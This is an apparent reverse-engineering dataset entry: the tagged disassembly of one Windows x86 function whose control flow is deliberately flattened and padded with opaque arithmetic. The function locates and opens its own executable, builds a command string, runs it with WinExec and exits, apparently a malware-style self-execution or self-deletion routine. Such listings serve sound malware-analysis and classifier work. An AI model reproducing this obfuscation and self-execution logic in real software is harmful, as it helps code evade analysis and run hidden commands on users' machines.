Function at 0x43af94
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, esp
mov dword [esi + 0x1c], 0xb9be0274
mov eax, 0xb9be0274
mov ebx, dword [esi + 0x20]
xor edi, edi
cmp eax, 0xe107af36
jle 0x43b011
cmp eax, 0x23bc4a88
jg 0x43b04f
cmp eax, 0xf4d8c38c
jg 0x43b0b3
cmp eax, 0xe107af37
je 0x43b1de
cmp eax, 0xeafef8d8
jne 0x43b321
push 5
push 0x47e407
push 0x67
push dword [esi + 0x10]
call fcn.0043b360
add esp, 0x10
push 0x68
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.0044a890
add esp, 0xc
mov eax, 0x23bc4a89
jmp 0x43afb3
cmp eax, 0xc9f1c1e3
jg 0x43b088
cmp eax, 0xb9be0273
jg 0x43b0fc
cmp eax, 0x8af531ab
je 0x43b1f7
cmp eax, 0x9f79ae4b
jne 0x43afb3
push dword [esi + 8]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, 0xdbd7bab4
jmp 0x43afb3
cmp eax, 0x619ba9b2
jle 0x43b14a
cmp eax, 0x70f09109
je 0x43b204
cmp eax, 0x7beaea4b
jne 0x43b32e
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x2c]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov eax, 0xc1669378
jmp 0x43afb3
cmp eax, 0xda3e6def
jg 0x43b194
cmp eax, 0xc9f1c1e4
je 0x43b241
cmp eax, 0xcf350614
jne 0x43afb3
mov eax, 0x8f0cc61
jmp 0x43afb3
cmp eax, 0xf4d8c38d
je 0x43b25f
cmp eax, 0x8f0cc61
jne 0x43afb3
push 0x200
push dword [esi + 0xc]
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x24], eax
mov eax, 0x8af531ab
jmp 0x43afb3
cmp eax, 0xb9be0274
je 0x43b283
cmp eax, 0xc1669378
jne 0x43afb3
mov eax, dword [esi + 4]
mov ecx, 0x9a
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2b87
dec edx
shl eax, 6
and eax, 0xffff0000
mov dword [esi + 4], eax
mov eax, 0x619ba9b3
cmp ecx, edx
je 0x43afb3
mov eax, 0x70f09109
jmp 0x43afb3
cmp eax, 0x23bc4a89
je 0x43b2b1
cmp eax, 0x46b8f08f
jne 0x43afb3
shr ebx, 0x16
movzx ebx, bl
push 0x1e74
push 0x3a0b
push ebx
push 0x620d
call fcn.0043b360
add esp, 0x10
mov eax, 0xc9f1c1e4
cmp ebx, 0xcd
jb 0x43afb3
jmp 0x43b255
cmp eax, 0xda3e6df0
je 0x43b2ef
cmp eax, 0xdbd7bab4
jne 0x43afb3
mov ecx, dword [esi + 4]
mov eax, 0xc5
add ecx, eax
imul eax, ecx, 0x780
imul ecx, ecx
imul edx, ecx, 0x5dd9
dec edx
mov dword [esi + 4], eax
mov eax, 0xf4d8c38d
cmp edx, ecx
je 0x43afb3
mov eax, 0xc9f1c1e4
jmp 0x43afb3
imul eax, dword [esi + 4], 0xb7cb940
add eax, 0xffff630d
mov dword [esi + 4], eax
mov eax, 0xcf350614
jmp 0x43afb3
mov eax, dword [esi + 8]
mov eax, 0x9f79ae4b
jmp 0x43afb3
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, dword [esi + 0x18]
sub esp, 0x68
mov eax, esp
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0x10]
mov byte [eax + 0x67], 0
push 0x67
push 0x47e3a0
push dword [esi + 0x10]
call fcn.0044a890
add esp, 0xc
mov eax, 0xeafef8d8
jmp 0x43afb3
mov eax, dword [esi + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], eax
mov eax, 0x7beaea4b
jmp 0x43afb3
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
mov eax, dword [esi + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0x34], eax
mov eax, 0xe107af37
jmp 0x43afb3
push eax
sub esp, 0x7fc
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0x200
mov eax, esp
mov dword [esi + 0xc], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 8], eax
mov eax, 0xf4d8c38d
jmp 0x43afb3
mov eax, dword [esi + 4]
shr eax, 2
and eax, 0x7ffffff
add eax, 0xffffff61
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x157
dec edx
shr eax, 9
and eax, 0x3ffff
mov dword [esi + 4], eax
mov eax, 0x70f09109
cmp edx, ecx
je 0x43afb3
mov eax, 0xda3e6df0
jmp 0x43afb3
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
push ecx
push ecx
push dword [eax]
push dword [esi + 0x18]
push 0x800
push dword [esi + 0x14]
call fcn.0042a59a
add esp, 0x18
push 0
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 0xe3056842
jmp 0x43afb3
cmp eax, 0xe3056842
jne 0x43afb3
jmp 0x43b347
cmp eax, 0x619ba9b3
jne 0x43afb3
mov dword [esi + 0x1c], eax
shr ebx, 0x12
mov dword [esi + 0x20], ebx
call fcn.0043af94
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]